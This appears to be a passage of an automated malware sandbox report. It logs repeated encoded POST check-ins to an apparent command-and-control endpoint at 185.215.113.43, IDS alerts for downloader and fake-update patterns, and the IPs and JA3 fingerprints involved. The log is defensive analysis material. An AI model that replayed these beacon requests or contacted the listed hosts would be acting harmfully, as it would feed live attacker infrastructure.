Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 34.117.188.166 34.117.188.166

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49755 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49779 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49771 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49778 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49785 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49791 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49798 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49800 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49805 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49806 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49812 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49814 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49822 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49820 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49829 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49830 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49840 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49841 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49848 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49857 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49856 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49858 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49870 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49872 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49886 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49888 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49893 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49907 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49959 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49917 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50016 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49946 -> 172.67.162.84:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50230 -> 20.189.173.20:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50249 -> 20.189.173.17:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YetTvnzo787V92F&MD=hFYbta5p HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
